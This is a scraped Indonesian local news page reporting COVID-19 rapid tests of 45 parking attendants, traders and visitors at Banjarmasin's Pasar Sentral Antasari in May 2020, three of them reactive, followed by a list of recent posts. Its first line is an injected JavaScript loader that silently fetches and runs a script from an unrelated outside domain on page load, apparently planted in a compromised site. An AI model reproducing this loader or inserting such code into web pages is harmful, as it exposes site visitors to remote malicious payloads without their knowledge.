(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Rapid Test Acak di Pasar Sentra Antasari, 3 Sampel Dinyatakan Reaktif


KANALKALIMANTAN.COM, BANJARMASIN – Dengan menggunakan peralatan alat pelindung diri (APD) lengkap tim Dinas Kesehatan Kota Banjarmasin melakukan rapid test kepada seluruh juru parkir Pasar Sentral Antasari Kota Banjarmasin, Senin (4/5/2020) siang.

Hal itu menyikapi setelah ditemukannya, seorang pemilik salah satu lahan parkir yang meninggal dunia setelah sempat dirawat intensif di RSUD Ulin Banjarmasin, Rabu (29/4/2020) lalu.

Satu persatu juru parkir bergantian dilakukan rapid test. Tak hanya itu, para pedagang serta pengunjung yang dilakukan secara acak guna memutus mata rantai penyebaran Covid-19.

Juru bicara Tim Gugus Tugas Covid-19 Kota Banjarmasin Dr. Machli Riyadi mengatakan, dengan dilakuknnya pemeriksaan ini pihaknya bisa lebih cepat menemukan pengembangan kasus ini. “Kita lakukan skrining dan rapid test sebanyak 45 orang dari data yang sudah kami dapatkan melalui tarcing, namun kita sediakan rapid test sebanyak 50 ” kata Machli

Selain itu, dari 45 orang yang dilakukan rapid test itu termasuk sebagian para pedagang dan pengunjung dengan cara acak. Jika ditemukan reaktif, akan dilakukan karantina selama 14 hari kedepan.

Menurutnya, sering dilakukan pemeriksaan dipasar Sentral Antasari, sebab sudah ditemukan lima kasus dua diantaranya dinyatakan fositif dan 3 orang sebagai pasien dalam pengawasan (PDP). “Dari 2 positif itu salah satunya pemilik lahan parkir yang meninggal dunia kemarin, dari lima di pasar itu 2 domisili Kota Banjarmasin dan 3 orang Kabupaten Banjar,” beber mantan Wadir Administrasi dan Keuangan RSJ Sambang Lihum ini.

Sementara untuk hasil langkah tracing tersebut dari total 45 orang yang dilakukan rapid test 3 diantaranya dinyatakan reaktif. “Untuk yang 3 orang yang dinyatakan reaktif akan kita lakukan test swab dulu dan hasilnya kita tunggu 3 hari kedepan,” pungkasnya. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

6 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

9 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

9 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

11 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

13 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

14 jam ago

This website uses cookies.